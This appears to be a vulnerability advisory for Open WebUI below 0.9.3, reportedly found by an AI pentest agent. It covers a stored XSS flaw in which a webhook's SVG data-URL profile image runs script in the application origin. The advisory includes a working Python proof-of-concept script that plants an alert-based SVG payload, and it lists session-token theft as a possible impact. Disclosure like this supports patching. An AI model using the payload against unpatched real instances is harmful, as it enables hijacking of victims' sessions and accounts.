| Package | Affected versions | Patched versions |
|---|---|---|
| open-webui | < 0.9.3 | 0.9.3 |
| open webui | < 0.9.3 | 0.9.3 |
As part of our research on improving our AI pentest, we have uncovered the following issue in Open WebUI. We've manually verified and tided up the report, but you can also find the original agent finding at the bottom of this report.
The channel webhook create/update flow accepts arbitrary profile_image_url values, including data:image/svg+xml;base64,... payloads. The profile image endpoint then decodes and serves this SVG as image/svg+xml without sanitization, allowing attacker-controlled script handlers (for example onload) to execute when the profile-image URL is opened in the browser.
The server accepts data:image/svg+xml;base64,... values for profile_image_url when creating or updating a webhook. Later, GET /api/v1/channels/webhooks/{webhook_id}/profile/image detects data:image, base64-decodes it, derives the media type from the header (e.g., image/svg+xml), and returns a StreamingResponse with Content-Disposition: inline and media_type set to image/svg+xml. There is no sanitization or transformation. When this URL is opened in a browser, SVG event handlers such as onload execute in the application origin, resulting in stored XSS.
import base64
import secrets
import requests
BASE_URL = "http://127.0.0.1:14000"
EMAIL = "[email protected]"
PASSWORD = "low"
CHANNEL_NAME_PREFIX = "xsswh-poc"
WEBHOOK_NAME = "xss-webhook-poc"
SVG_CANARY = '<svg xmlns="http://www.w3.org/2000/svg" onload="alert(origin)"></svg>'
if __name__ == "__main__":
s = requests.Session()
s.headers.update({"Content-Type": "application/json"})
r = s.post(
f"{BASE_URL}/api/v1/auths/signin",
json={"email": EMAIL, "password": PASSWORD},
timeout=30,
)
r.raise_for_status()
s.headers["Authorization"] = f"Bearer {r.json()['token']}"
r = s.post(
f"{BASE_URL}/api/v1/channels/create",
json={
"name": f"{CHANNEL_NAME_PREFIX}-{secrets.token_hex(4)}",
"type": "group",
"user_ids": [],
"group_ids": [],
},
timeout=30,
)
r.raise_for_status()
channel_id = r.json()["id"]
payload = "data:image/svg+xml;base64," + base64.b64encode(SVG_CANARY.encode()).decode()
r = s.post(
f"{BASE_URL}/api/v1/channels/{channel_id}/webhooks/create",
json={"name": WEBHOOK_NAME, "profile_image_url": payload},
timeout=30,
)
r.raise_for_status()
webhook_id = r.json()["id"]
print(f"{BASE_URL}/api/v1/channels/webhooks/{webhook_id}/profile/image")
Running one of these products? Scan your site to see whether it exposes a vulnerable version.
Scan my site freeThis should print a URL like the following, which when visited (by any user), triggers a JavaScript popup proving XSS:
Conditions required: The victim must be an authenticated, verified user. Channel feature must be enabled.
Stored XSS enables arbitrary JavaScript execution in the context of the application's origin for any viewer who loads the malicious profile image URL. An attacker can exfiltrate session tokens (localstorage) or API keys stored in the page context, perform unauthorized actions on behalf of the victim via same-origin APIs, alter settings, or pivot to broader account compromise. Because this vector is persisted in the database as part of a webhook's profile image, it remains active until removed.